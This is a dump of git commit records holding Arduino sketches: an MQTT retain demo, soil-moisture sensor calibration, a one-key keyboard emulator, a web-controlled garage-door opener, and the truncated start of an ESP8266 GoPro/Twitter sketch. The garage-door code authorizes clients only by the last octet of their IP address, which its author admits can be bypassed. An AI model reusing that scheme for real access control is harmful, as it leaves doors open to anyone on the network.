<ESP8266WiFi.h> \/\/ use <WiFi.h> for ESP32\n#include \"Adafruit_MQTT.h\"\n#include \"Adafruit_MQTT_Client.h\"\n\n\/************************* WiFi Access Point *********************************\/\n\n#define WLAN_SSID \"...your SSID...\"\n#define WLAN_PASS \"...your password...\"\n\n\/************************* Adafruit.io Setup *********************************\/\n\n#define MQTT_SERVER \"...your MQTT server...\"\n#define MQTT_SERVERPORT 1883 \/\/ use 8883 for SSL\n#define MQTT_USERNAME \"MQTT username\"\n#define MQTT_KEY \"MQTT key\"\n#define DEVICE_ID \"mqtt-retain-example\"\n\n\/************ Global State (you don't need to change this!) ******************\/\n\n\/\/ Create a WiFiClient class to connect to the MQTT server.\nWiFiClient client;\n\/\/ or... use WiFiClientSecure for SSL\n\/\/WiFiClientSecure client;\n\n\/\/ Setup the MQTT client class by passing in the WiFi client and MQTT server and login details.\nAdafruit_MQTT_Client mqtt(&client, MQTT_SERVER, MQTT_SERVERPORT, MQTT_USERNAME, MQTT_KEY);\n\n\/****************************** Feeds ***************************************\/\n\n\/\/ Set up for publishing and subscribing to the same feed, for demonstration only\nAdafruit_MQTT_Publish publish_feed = Adafruit_MQTT_Publish(&mqtt, DEVICE_ID \"\/temp\");\nAdafruit_MQTT_Subscribe subscribe_feed = Adafruit_MQTT_Subscribe(&mqtt, DEVICE_ID \"\/temp\");\n\n\/*************************** Sketch Code ************************************\/\n\nvoid setup() {\n Serial.begin(115200);\n delay(10);\n\n Serial.println(F(\"MQTT retain flag demo\"));\n\n \/\/ Connect to WiFi access point.\n Serial.println(); Serial.println();\n Serial.print(\"Connecting to \");\n Serial.println(WLAN_SSID);\n\n WiFi.begin(WLAN_SSID, WLAN_PASS);\n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n Serial.println();\n\n Serial.println(\"WiFi connected\");\n Serial.println(\"IP address: \");\n Serial.println(WiFi.localIP());\n\n \/\/ Connect to MQTT broker, then publish a retained message and a\n \/\/ non-retained message.\n Serial.print(\"\\nConnecting to MQTT broker...\");\n MQTT_connect();\n Serial.println(\"connected\");\n\n Serial.println(\"Publishing messages while not subscribed\");\n publish_feed.publish(\"This message should be retained\", true);\n publish_feed.publish(\"This message should not be retained\");\n\n Serial.println(\"Disconnecting from MQTT broker\\n\");\n mqtt.disconnect();\n\n subscribe_feed.setCallback(subscribe_callback);\n mqtt.subscribe(&subscribe_feed);\n}\n\nvoid subscribe_callback(char *data, uint16_t len) {\n Serial.print(\"--> Message received: \\\"\");\n Serial.print(data);\n Serial.println(\"\\\"\\n\");\n}\n\nvoid loop() {\n\n \/\/ Connect to MQTT broker. We should receive the retained message only.\n Serial.println(\"Connecting to broker. Expect to receive retained message:\");\n MQTT_connect();\n\n mqtt.processPackets(1000);\n\n Serial.println(\"Publishing non-retained message. Expect to receive it immediately:\");\n publish_feed.publish(\"This message should be received immediately but not retained\");\n\n mqtt.processPackets(1000);\n\n Serial.println(\"Publishing retained message. Expect to receive it immediately and on re-subscribing:\");\n publish_feed.publish(\"This message should be received immediately AND retained\", true);\n\n mqtt.processPackets(10000);\n\n Serial.println(\"Disconnecting from broker\\n\");\n mqtt.disconnect();\n\n delay(15000);\n}\n\n\/\/ Function to connect and reconnect as necessary to the MQTT server.\n\/\/ Should be called in the loop function and it will take care if connecting.\nvoid MQTT_connect() {\n int8_t ret;\n\n \/\/ Stop if already connected.\n if (mqtt.connected()) {\n return;\n }\n\n uint8_t retries = 3;\n while ((ret = mqtt.connect()) != 0) { \/\/ connect will return 0 for connected\n Serial.println(mqtt.connectErrorString(ret));\n Serial.println(\"Retrying MQTT connection in 5 seconds...\");\n mqtt.disconnect();\n delay(5000); \/\/ wait 5 seconds\n retries--;\n if (retries == 0) {\n \/\/ basically die and wait for WDT to reset me\n while (1);\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/mqtt_retain\/mqtt_retain.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"73095605ec4f730b8887bfc249e69fab3884ccdf","subject":"firmware add calibrate for 3 sensors","message":"firmware add calibrate for 3 sensors","repos":"FBTUG\/DevZone,FBTUG\/DevZone,FBTUG\/DevZone,FBTUG\/DevZone,FBTUG\/DevZone","old_file":"firmware\/verification\/VWC\/SEN0193_3_Calibrate\/SEN0193_3_Calibrate.ino","new_file":"firmware\/verification\/VWC\/SEN0193_3_Calibrate\/SEN0193_3_Calibrate.ino","new_contents":"\/* 3 sensors VWC audo calibrate sample code\n * Features:\n * load\/save VWC boundry value at EEPROM address 0 ( size = 2* int )\n * Press button to start\/stop calibrate mode. \n * Calibrating with LED on\n * \n * Connection: \n * Button : D2, default high\n * VWC sensor: A3,A4,A5\n * LED 13, embedded\n * \n * Behavior:\n * per second print out \n * (Sensor_ADC, VWC(%), Bound_Down, Bound_Top )*3\n * \n * Calibrate procedure:\n * Power On\n * Press Button - see LED on\n * In any sequence in the Air and Water. Suggest have 10 seconds in each state\n * Press Button - see LED off\n * \n * Detail:\n * Without calibrate, the default value is DEF_TOP, DEF_DOWN\n * Calibrate start initial bound to CALINIT_TOP, CALINIT_DOWN\n * Sensor : http:\/\/www.icshop.com.tw\/product_info.php\/products_id\/24987\n * \n * Author: Wuulong 2017\/4\/24\n *\/\n#include <EEPROM.h>\n\n#define PIN_BUTTON 2\n#define PIN_LED 13\n#define CALINIT_TOP 400\n#define CALINIT_DOWN 350\n#define DEF_TOP 520\n#define DEF_DOWN 261\n#define VWC_CNT 3\nstruct ADC_Bound {\n int v_top; \/\/ value sense at air\n int v_down; \/\/ value sense at water\n};\nADC_Bound bound[VWC_CNT];\nint pin_vwc[VWC_CNT] = {A3,A4,A5};\nint mode =0; \/\/mode 0: normal mode , mode 1: calibrate mode\nint count=0; \/\/ lopp count \n\nvoid save_setting(){\n for(int i=0;i<VWC_CNT;i++){\n EEPROM.put(0+i*sizeof(ADC_Bound), bound[i]); \n }\n}\nvoid load_setting(){\n for(int i=0;i<VWC_CNT;i++){\n EEPROM.get(0+i*sizeof(ADC_Bound), bound[i]); \n \n if(bound[i].v_top==0 || bound[i].v_down ==0 ){\n bound[i].v_top = DEF_TOP;\n bound[i].v_down = DEF_DOWN; \n }\n }\n}\n\nvoid setup() { \n Serial.begin(115200);\n pinMode(PIN_BUTTON,INPUT);\n for(int i=0;i<VWC_CNT;i++){\n pinMode(pin_vwc[i],INPUT);\n bound[i].v_top = DEF_TOP;\n bound[i].v_down = DEF_DOWN; \n }\n pinMode(PIN_LED,OUTPUT);\n load_setting();\n\n}\n\n\n\nvoid sensing(){\n \/\/ sense and pring\n int val[VWC_CNT];\n float vwc[VWC_CNT];\n\n for(int i=0;i<VWC_CNT;i++){\n val[i] = analogRead(pin_vwc[i]); \/\/connect sensor to Analog 0\n if( mode == 1 ){\n if(val[i]> bound[i].v_top) bound[i].v_top = val[i];\n if(val[i]< bound[i].v_down ) bound[i].v_down = val[i];\n }\n \n vwc[i] = 1.0-((float(val[i])-bound[i].v_down)\/(bound[i].v_top-bound[i].v_down));\n \/\/Serial.println(vwc*100); \/\/print the value to serial port\n Serial.print(val[i]); Serial.print(\",\");\n Serial.print(vwc[i]*100); Serial.print(\",\");\n Serial.print(bound[i].v_down); Serial.print(\",\");\n Serial.print(bound[i].v_top);\n if(i != VWC_CNT-1 ) Serial.print(\",\");\n }\n Serial.println(\"\");\n \n}\nvoid mode_check_and_run(){\n int btn_state;\n \/\/detect if btn click\n btn_state = digitalRead(PIN_BUTTON);\n if( btn_state ==0 ){ \/\/ button down\n mode = 1- mode;\n if( mode == 0 ){ \/\/ cal complete\n Serial.println(\"Calibrate Complete!\");\n digitalWrite(PIN_LED,0);\n save_setting();\n }else{ \/\/mode = 1 , cal start\n Serial.println(\"Calibrate Start!\");\n digitalWrite(PIN_LED,1);\n for(int i=0;i<VWC_CNT;i++){\n bound[i].v_top = CALINIT_TOP;\n bound[i].v_down = CALINIT_DOWN;\n }\n }\n delay(500); \/\/ to avoid single click with multiple action\n }\n \n}\n\/*\n * normal mode sensor to console every 1 second\n *\/\n\/\/\n\nvoid loop() {\n mode_check_and_run();\n if(count % 20 == 0 ){\n sensing();\n }\n count++;\n delay(50);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/verification\/VWC\/SEN0193_3_Calibrate\/SEN0193_3_Calibrate.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f614f022800c22fd47a351412a0772944de248a5","subject":"one-button-keyboard","message":"one-button-keyboard\n","repos":"chbw\/sketchbook","old_file":"minecraft-keyboard-arduino-micro\/minecraft-keyboard-arduino-micro.ino","new_file":"minecraft-keyboard-arduino-micro\/minecraft-keyboard-arduino-micro.ino","new_contents":"const int port_num = 2;\n\nvoid setup() {\n pinMode(2, INPUT_PULLUP);\n Keyboard.begin();\n}\n\n\nvoid loop() {\n \/\/ wait for falling edge on pin 9\n while(digitalRead(port_num));\n \n \/\/ send keystroke\n Keyboard.press('w');\n\n delay(50);\n \n Keyboard.releaseAll();\n \n \/\/ wait for rising edge on pin 9\n while(!digitalRead(port_num));\n\n delay(50);\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'minecraft-keyboard-arduino-micro\/minecraft-keyboard-arduino-micro.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1642cc07cf7f2d3eda2531d5efab3ff5a8383563","subject":"Add files via upload","message":"Add files via upload\n\nBelieve this is the final version in use.. includes ip authorization for a little security.. Power is shut down at night anyways but didn't want keyboard jockeys finding the page and possibly operating the door without being to visibly see the door operation..","repos":"tek1229\/Door-Control","old_file":"Door_control_4_1_0_Final.ino","new_file":"Door_control_4_1_0_Final.ino","new_contents":" \/*--------------------------------------------------------------\n Program: eth_websrv_Door_control\n \n Description: Arduino web server that shows controls for operating 3 garage doors.\n there is open,stop, and close for each door.\n \n Hardware: Arduino Uno and official Arduino Ethernet\n shield. Should work with other Arduinos and\n compatible Ethernet shields.\n 1Gb micro SD card formatted FAT16.\n D5-D6-D7 for door 1, A0-A2 for door 2, A3-A5 for door 3\n Ethernet shield has reset pin and rest on ICSP header removed.. Reset is wired to D8.. \n This is to reset ethernet on powerup otherwise you must reset manually everytime..\n \n Software: Developed using Arduino 1.0.5 software\n Should be compatible with Arduino 1.0 +\n SD card contains web page called index.htm\n \n References: - WebServer example by David A. Mellis and \n modified by Tom Dupras tek1229@yahoo.com\n - SD card examples by David A. Mellis and Tom Igoe\n - Ethernet library documentation:\n http:\/\/arduino.cc\/en\/Reference\/Ethernet\n - SD Card library documentation:\n http:\/\/arduino.cc\/en\/Reference\/SD\n \n Date: 4 April 2013\n Modified: 11 Jan 2014\n - removed use of the String class\n \n Author: W.A. Smith, http:\/\/startingelectronics.com\n Modified by Thomas Dupras on Jan 22nd,2014\n this revision also checks for ip address and uses the last number to verify authorized users.. not the best but it works for what is needed..\n --------------------------------------------------------------*\/\n\n#include <SPI.h>\n#include <Ethernet.h>\n#include <SD.h>\n\/\/ size of buffer used to capture HTTP requests\n#define REQ_BUF_SZ 60\n\n\/\/ MAC address from Ethernet shield sticker under board\nbyte mac[] = {\n 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED }; \/\/ should be changed to something else\nIPAddress ip(10, 16, 246, 211); \/\/ IP address, may need to change depending on network\nEthernetServer server(80); \/\/ create a server at port 80\nFile webFile; \/\/ the web page file on the SD card\nchar HTTP_req[REQ_BUF_SZ] = {\n 0}; \/\/ buffered HTTP request stored as null terminated string\nchar req_index = 0; \/\/ index into HTTP_req buffer\nint LED_state[8] = {0}; \/\/ stores the states of the LEDs\nbyte rip[] = { 0,0,0,0 }; \/\/ rip[] is the returned ip address of client requesting\nboolean key=false;\n\n\nvoid setup()\n{\n \/\/ disable Ethernet chip\n pinMode(10, OUTPUT);\n digitalWrite(10, HIGH);\n\n Serial.begin(9600); \/\/ for debugging\n \/\/Serial.println(F(\"Ip Address is 10.16.246.11\"));\n \/\/ initialize SD card\n if (!SD.begin(4)) {\n Serial.println(F(\"ERROR - SD init failed!\"));\n return; \/\/ init failed\n }\n \/\/Serial.println(F(\"SUCCESS - SD card initialized.\"));\n \/\/ check for index.htm file\n if (!SD.exists(\"index.htm\")) {\n Serial.println(F(\"ERROR!\"));\n return; \/\/ can't find index file\n }\n Serial.println(F(\"SUCCESS - Found index.htm\"));\n \/\/ door outputs turning them high before using pinMode keeps them from twitching on startup..\n PORTD = PORTD | B11100000; \/\/ sets digital pins 7,6,5 HIGH\n PORTC = PORTC | B00111111; \/\/ sets analog pins 2,1,0 HIGH\n\n \nDDRD = DDRD | B11100000; \/\/ turns 5,6,7 into outputs..\nDDRC = DDRC | B00111111; \/\/ turns analog 0-5 into outputs..\n pinMode(8, OUTPUT); \/\/ reset ethernet shield output\n digitalWrite(8,LOW); \/\/ reset ethernet\n delay(200);\n digitalWrite(8,HIGH); \/\/ done resetting\n delay(200);\n pinMode(8, INPUT); \/\/ pin 8 into input in case reset is pushed so pin isn't shorted out..\n delay(2000);\n \n \n \n Ethernet.begin(mac, ip); \/\/ initialize Ethernet device\n server.begin(); \/\/ start to listen for clients\n}\n\nvoid loop()\n{\n EthernetClient client = server.available(); \/\/ try to get client\n\n if (client) { \/\/ got client?\n boolean currentLineIsBlank = true;\n while (client.connected()) {\n if (client.available()) { \/\/ client data available to read\n char c = client.read(); \/\/ read 1 byte (character) from client\n \/\/ limit the size of the stored received HTTP request\n \/\/ buffer first part of HTTP request in HTTP_req array (string)\n \/\/ leave last element in array as 0 to null terminate string (REQ_BUF_SZ - 1)\n if (req_index < (REQ_BUF_SZ - 1)) {\n HTTP_req[req_index] = c; \/\/ save HTTP request character\n req_index++;\n }\n \/\/ last line of client request is blank and ends with \\n\n \/\/ respond to client only after last line received\n if (c == '\\n' && currentLineIsBlank) {\n client.getRemoteIP(rip); \/\/ where rip is defined as byte rip[] = {0,0,0,0 };\n checkIP();\n\n \/\/ send a standard http response header\n client.println(\"HTTP\/1.1 200 OK\");\n \/\/ remainder of header follows below, depending on if\n \/\/ web page or XML page is requested\n \/\/ Ajax request - send XML file\n if (key== true && StrContains(HTTP_req, \"ajax_inputs\")) {\n \/\/ send rest of HTTP header\n client.println(\"Content-Type: text\/xml\");\n client.println(\"Connection: keep-alive\");\n client.println();\n SetLEDs(); \/\/ parse the http get request and control outputs accordingly\n }\n else { \/\/ web page request\n \/\/ send rest of HTTP header\n client.println(\"Content-Type: text\/html\");\n client.println(\"Connection: keep-alive\");\n client.println();\n \/\/ send web page\n if (key == true) webFile = SD.open(\"index.htm\"); \/\/ open web page file\n else webFile = SD.open(\"BadIP.htm\"); \/\/ if not autorized by IP then an error page is displayed.. \n if (webFile) {\n while(webFile.available()) {\n client.write(webFile.read()); \/\/ send web page to client\n }\n webFile.close();\n }\n }\n\n \/\/ display received HTTP request on serial port uncomment below to view\n \/\/ Serial.print(HTTP_req);\n req_index = 0; \/\/ reset index\n StrClear(HTTP_req, REQ_BUF_SZ); \/\/ clear buffer\n break;\n }\n\n \/\/ every line of text received from the client ends with \\r\\n\n if (c == '\\n') {\n \/\/ last character on line of received text\n \/\/ starting new line with next character read\n currentLineIsBlank = true;\n } \n else if (c != '\\r') {\n \/\/ a text character was received from client\n currentLineIsBlank = false;\n }\n } \/\/ end if (client.available())\n } \/\/ end while (client.connected())\n delay(1); \/\/ give the web browser time to receive the data\n client.stop(); \/\/ close the connection\n } \/\/ end if (client)\n Relaysoff();\n}\n\n\/\/ checks if received HTTP request is switching on\/off LEDs\n\/\/ also saves the state of the LEDs\n\n\n\/\/ sets every element of str to 0 (clears array)\nvoid StrClear(char *str, char length)\n{\n for (int i = 0; i < length; i++) {\n str[i] = 0;\n }\n}\n\n\/\/ searches for the string sfind in the string str\n\/\/ returns 1 if string found\n\/\/ returns 0 if string not found\nchar StrContains(char *str, char *sfind)\n{\n char found = 0;\n char index = 0;\n char len;\n\n len = strlen(str);\n\n if (strlen(sfind) > len) {\n return 0;\n }\n while (index < len) {\n if (str[index] == sfind[found]) {\n found++;\n if (strlen(sfind) == found) {\n return 1;\n }\n }\n else {\n found = 0;\n }\n index++;\n }\n\n return 0;\n}\n\nvoid checkIP() \/\/ I want to use this to identify ip addresses of computers connecting.. I can log them or disallow access if unknown.. This can be bypassed but this is simple security..\n{\n \/\/ client.getRemoteIP(rip); \/\/ where rip is defined as byte rip[] = {0,0,0,0 };\n if (rip[3] == 14 || rip[3] == 48 || rip[3] == 23 || rip[3] == 30 || rip[3]== 25 || rip[3] == 65) key=true;\n else key=false; \/\/ the numbers above are the last segments of the ip's of trusted computers.. 5 computers..\n \/\/client.getRemoteIP(rip); \/\/ where rip is defined as byte rip[] = {0,0,0,0 };\n \/\/Serial.print(\"IP is:\");\n \/\/Serial.println(rip[3]);\n}\nvoid Relaysoff()\n\n{\n\n if(LED_state[0] == 0) digitalWrite(5, HIGH); \/\/ door 1 open\n else LED_state[0]--; \/\/ subtracts 1 from LED+state[] kind of a timer to hold the led on slightly\n\n if(LED_state[1] == 0) digitalWrite(6, HIGH); \/\/ door 1 stop\n else LED_state[1]--;\n\n if(LED_state[2] == 0) digitalWrite(7, HIGH); \/\/ door 1 close\n else LED_state[2]--;\n\n if(LED_state[3] == 0) digitalWrite(A0, HIGH); \/\/ door 2 open\n else LED_state[3]--;\n\n if(LED_state[4] == 0) digitalWrite(A1, HIGH); \/\/ door 2 stop\n else LED_state[4]--;\n\n if(LED_state[5] == 0) digitalWrite(A2, HIGH); \/\/ door 2 clos\n else LED_state[5]--;\n\n if(LED_state[6] == 0) digitalWrite(A3, HIGH); \/\/ door 3 open\n else LED_state[6]--;\n\n if(LED_state[7] == 0) digitalWrite(A4, HIGH); \/\/ door 2 stop\n else LED_state[7]--;\n\n if(LED_state[8] == 0) digitalWrite(A5, HIGH); \/\/ door 3 close\n else LED_state[8]--;\n\n}\nvoid SetLEDs(void)\n{\n \/\/ door 1\n if (StrContains(HTTP_req, \"d1=1\")) { \/\/ door 1 open\n LED_state[0] =2550; \/\/ save LED state\n digitalWrite(5, LOW); \/\/ door 1 open\n Serial.println(F(\"Door1 open\"));\n }\n if (StrContains(HTTP_req, \"d1=2\")) { \/\/ door 1 stop\n LED_state[1] = 2550; \/\/ save LED state\n digitalWrite(6, LOW); \/\/ door 1 stop\n Serial.println(F(\"Door1 stop\"));\n }\n if (StrContains(HTTP_req, \"d1=3\")) { \/\/ door 1 close\n LED_state[2] = 2550; \/\/ save LED state\n digitalWrite(7, LOW); \/\/ door 1 close\n Serial.println(F(\"Door1 close\"));\n }\n if (StrContains(HTTP_req, \"d2=1\")) { \/\/ door 2 open\n LED_state[3] = 2550; \/\/ save LED state\n digitalWrite(A0, LOW); \/\/ door 1 open\n Serial.println(F(\"Door2 open\"));\n }\n if (StrContains(HTTP_req, \"d2=2\")) { \/\/ door 2 stop\n LED_state[4] = 2550; \/\/ save LED state\n digitalWrite(A1, LOW); \/\/ door 1 stop\n Serial.println(F(\"Door2 stop\"));\n }\n if (StrContains(HTTP_req, \"d2=3\")) { \/\/ door 2 close\n LED_state[5] = 2550; \/\/ save LED state\n digitalWrite(A2, LOW); \/\/ door 1 close\n Serial.println(F(\"Door2 close\"));\n }\n\n if (StrContains(HTTP_req, \"d3=1\")) { \/\/ door 3 open\n LED_state[6] = 2550; \/\/ save LED state\n digitalWrite(A3, LOW); \/\/ door 3 open\n Serial.println(F(\"Door3 open\"));\n }\n if (StrContains(HTTP_req, \"d3=2\")) { \/\/ door 3 stop\n LED_state[7] = 2550; \/\/ save LED state\n digitalWrite(A4, LOW); \/\/ door 3 stop\n Serial.println(F(\"Door3 stop\"));\n }\n if (StrContains(HTTP_req, \"d3=3\")) { \/\/ door 3 close\n LED_state[8] = 2550; \/\/ save LED state\n digitalWrite(A5, LOW); \/\/ door 3 close\n Serial.println(F(\"Door3 close\"));\n }\n\n\n\n}\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Door_control_4_1_0_Final.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9d45bb328ede4f08b1e5fb67b2fb31cfb2648010","subject":"added code to prescale the chip-clock","message":"added code to prescale the chip-clock\n","repos":"reynal74\/sensor_projects","old_file":"read_sensor_data\/impact_and_pulloff\/impact_and_pulloff.ino","new_file":"read_sensor_data\/impact_and_pulloff\/impact_and_pulloff.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/reynal74\/sensor_projects.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"c72eb5eac89c6f92d6a550c639ba7572583ee60c","subject":"guess it wasn't the final","message":"guess it wasn't the final\n","repos":"rosalindfdt\/huzzahbadge,rosalindfdt\/huzzahbadge,rosalindfdt\/huzzahbadge,rosalindfdt\/huzzahbadge","old_file":"pronoun_badge.ino","new_file":"pronoun_badge.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/rosalindfdt\/huzzahbadge.git\/'\n","license":"artistic-2.0","lang":"Arduino"} {"commit":"43ecc48cd07d3601fb03d2b55fd03b7191b72291","subject":"Some testing done in unrelared gargbage at file read","message":"Some testing done in unrelared gargbage at file read\n","repos":"JulioOrdonezV\/pvcloud,JulioOrdonezV\/pvcloud,JulioOrdonezV\/pvcloud,JulioOrdonezV\/pvcloud","old_file":"pvcloud_arduino_library\/examples\/tombo_demo\/tombo_demo.ino","new_file":"pvcloud_arduino_library\/examples\/tombo_demo\/tombo_demo.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/JulioOrdonezV\/pvcloud.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"b82522ad0e0e17a87edfc88ecf961cbf3631cde8","subject":"config on rtc","message":"config on rtc\n","repos":"chaeplin\/esp8266_and_arduino,chaeplin\/esp8266_and_arduino,chaeplin\/esp8266_and_arduino","old_file":"_56-gopro-control\/a-91-config-on-rtc\/a-91-config-on-rtc.ino","new_file":"_56-gopro-control\/a-91-config-on-rtc\/a-91-config-on-rtc.ino","new_contents":"\/\/ esp-01 4M \/ 3M flash \/ esp-solar\n#include <Arduino.h>\n#include <TimeLib.h>\n#include <PubSubClient.h>\n#include <ESP8266WiFi.h>\n#include <ESP8266mDNS.h>\n#include <WiFiClientSecure.h>\n#include <ESP8266HTTPClient.h>\n#include <Wire.h>\n#include <ArduinoOTA.h>\n#include <WiFiUdp.h>\n#include <ArduinoJson.h>\n#include <LiquidCrystal_I2C.h>\n#include <base64.h>\n#include <FS.h>\n\/* --- *\/\n#define SHA1_SIZE 20\n\/* -- *\/\n#define DEFAULT_DIR \"00000000\"\n#define DEFAULT_FILE \"00000000.000\"\n#define DEFAULT_MEDIA_ID \"0000000000000000000\";\n\/\/ RTC\n\/\/ https:\/\/github.com\/Makuna\/Rtc\n#include <RtcDS3231.h>\n\/* -- *\/\nextern \"C\" {\n typedef struct {\n uint32_t Intermediate_Hash[SHA1_SIZE \/ 4]; \/* Message Digest *\/\n uint32_t Length_Low; \/* Message length in bits *\/\n uint32_t Length_High; \/* Message length in bits *\/\n uint16_t Message_Block_Index; \/* Index into message block array *\/\n uint8_t Message_Block[64]; \/* 512-bit message blocks *\/\n } SHA1_CTX;\n\n void SHA1_Init(SHA1_CTX *);\n void SHA1_Update(SHA1_CTX *, const uint8_t * msg, int len);\n void SHA1_Final(uint8_t *digest, SHA1_CTX *);\n\n#include \"user_interface.h\"\n}\n\/* -- *\/\n#include \"\/usr\/local\/src\/ap_setting.h\"\n#include \"\/usr\/local\/src\/gopro_setting.h\"\n#include \"\/usr\/local\/src\/twitter_setting.h\"\n\/* -- *\/\n#define DEBUG_PRINT 1\n\n#define SYS_CPU_80MHz 80\n#define SYS_CPU_160MHz 160\n\n#define SquareWavePin 1\n\/* -- *\/\n#define MAX_ATTEMPT_IN_EACH_PHASE 5\n\/* ---- *\/\n\/* -- *\/\n\/\/ twitter\n#define CONSUMER_KEY ConsumerKey\n#define CONSUMER_SECRET ConsumerSecret\n#define ACCESS_TOKEN AccessToken\n#define ACCESS_SECRET AccessSecret\n\n#define BASE_HOST \"api.twitter.com\"\n#define BASE_URL \"https:\/\/api.twitter.com\/1.1\/statuses\/update.json\"\n#define BASE_URI \"\/1.1\/statuses\/update.json\"\n#define HTTPSPORT 443\n\n#define KEY_HTTP_METHOD \"POST\"\n#define KEY_CONSUMER_KEY \"oauth_consumer_key\"\n#define KEY_NONCE \"oauth_nonce\"\n#define KEY_SIGNATURE_METHOD \"oauth_signature_method\"\n#define KEY_TIMESTAMP \"oauth_timestamp\"\n#define KEY_TOKEN \"oauth_token\"\n#define KEY_VERSION \"oauth_version\"\n#define KEY_SIGNATURE \"oauth_signature\"\n#define KEY_MEDIA_ID \"media_id\"\n#define KEY_MEDIA_TYPE \"media_type\"\n#define KEY_MEDIA_IDS \"media_ids\"\n\n#define VALUE_SIGNATURE_METHOD \"HMAC-SHA1\"\n#define VALUE_VERSION \"1.0\"\n\n#define KEY_STATUS \"status\"\n#define UPLOAD_COMMAND \"command\"\n\n#define UPLOAD_BASE_HOST \"upload.twitter.com\"\n#define UPLOAD_BASE_URL \"https:\/\/upload.twitter.com\/1.1\/media\/upload.json\"\n#define UPLOAD_BASE_URI \"\/1.1\/media\/upload.json\"\n#define UPLOAD_OAUTH_KEY \"oauth_body_hash\"\n\n#define UPLOAD_CMD_INIT \"INIT\"\n#define UPLOAD_CMD_APPEND \"APPEND\"\n#define UPLOAD_CMD_FINALIZE \"FINALIZE\"\n\n#define UPLOAD_MEDIA_TYPE \"image\/jpeg\"\n#define UPLOAD_MEDIA_SIZE \"total_bytes\"\n#define UPLOAD_MEDIA_SEG_INDX \"segment_index\"\n\n\/* ---- *\/\nconst char* api_fingerprint = \"D8 01 5B F4 6D FB 91 C6 E4 B1 B6 AB 9A 72 C1 68 93 3D C2 D9\";\nconst char* upload_fingerprint = \"95 00 10 59 C8 27 FD 2C D0 76 12 F7 88 35 64 21 F5 60 D3 E9\";\n\n\/\/ ****************\nvoid callback(char* intopic, byte* inpayload, unsigned int length);\n\/* ---- *\/\nconst char* ssid = WIFI_SSID;\nconst char* password = WIFI_PASSWORD;\nconst char* goprossid = GOPRO_SSID;\nconst char* gopropassword = GOPRO_PASSWORD;\nconst char* otapassword = OTA_PASSWORD;\n\/* ---- *\/\nIPAddress influxdbudp = MQTT_SERVER;\nIPAddress mqtt_server = MQTT_SERVER;\nIPAddress time_server = MQTT_SERVER;\n\/* ---- *\/\nstruct {\n float Temperature1;\n float Temperature2;\n float Humidity;\n float data1;\n float data2;\n float data3;\n float data4;\n uint16_t powerAvg;\n uint16_t pir;\n} solar_data;\n\/* ---- *\/\nstruct {\n uint32_t hash;\n bool gopro_mode;\n bool formatspiffs;\n float Temperature;\n int twitter_phase;\n int gopro_size;\n int chunked_no;\n int attempt_this;\n char gopro_dir[32];\n char gopro_file[32];\n char media_id[32];\n} rtc_boot_mode;\n\/* ---- *\/\nint CHUNKED_FILE_SIZE = 146000; \/\/ 146KB\n\/* -- config ---*\/\nString gopro_dir = DEFAULT_DIR;\nString gopro_file = DEFAULT_FILE;\nString media_id = DEFAULT_MEDIA_ID;\n\/* -- *\/\nString value_status;\n\/* ---- *\/\nuint32_t value_timestamp;\nuint32_t value_nonce;\n\/* ---- *\/\nchar* hellotopic = \"HELLO\";\nchar* willTopic = \"clients\/solar\";\nchar* willMessage = \"0\";\n\n\/\/ subscribe\nconst char subrpi[] = \"raspberrypi\/data\";\nconst char subtopic_0[] = \"esp8266\/arduino\/s03\"; \/\/ lcd temp\nconst char subtopic_1[] = \"esp8266\/arduino\/s07\"; \/\/ power\nconst char subtopic_3[] = \"radio\/test\/2\"; \/\/Outside temp\nconst char subtopic_4[] = \"raspberrypi\/doorpir\";\nconst char subtopic_5[] = \"raspberrypi\/data2\";\n\nconst char* substopic[6] = { subrpi, subtopic_0, subtopic_1, subtopic_3, subtopic_4, subtopic_5 } ;\n\nunsigned int localPort = 12390;\nconst int timeZone = 9;\n\n\/\/\nString clientName;\nString payload;\nString syslogPayload;\nString getResetInfo;\nbool ResetInfo = false;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\nWiFiClient wifiClient;\nWiFiClientSecure sslclient;\n\nLiquidCrystal_I2C lcd(0x27, 20, 4);\nPubSubClient mqttclient(mqtt_server, 1883, callback, wifiClient);\nWiFiUDP udp;\nRtcDS3231 Rtc;\n\nlong lastReconnectAttempt = 0;\nvolatile bool msgcallback;\n\n\/\/\nvolatile uint32_t lastTime, lastTime2;\nvolatile bool balm_isr;\n\n\/\/ https:\/\/omerk.github.io\/lcdchargen\/\nbyte termometru[8] = { B00100, B01010, B01010, B01110, B01110, B11111, B11111, B01110 };\nbyte picatura[8] = { B00100, B00100, B01010, B01010, B10001, B10001, B10001, B01110 };\nbyte pirfill[8] = { B00111, B00111, B00111, B00111, B00111, B00111, B00111, B00111 };\nbyte powericon[8] = { B11111, B11011, B10001, B11011, B11111, B11000, B11000, B11000 };\nbyte customCharfill[8] = { B10101, B01010, B10001, B00100, B00100, B10001, B01010, B10101 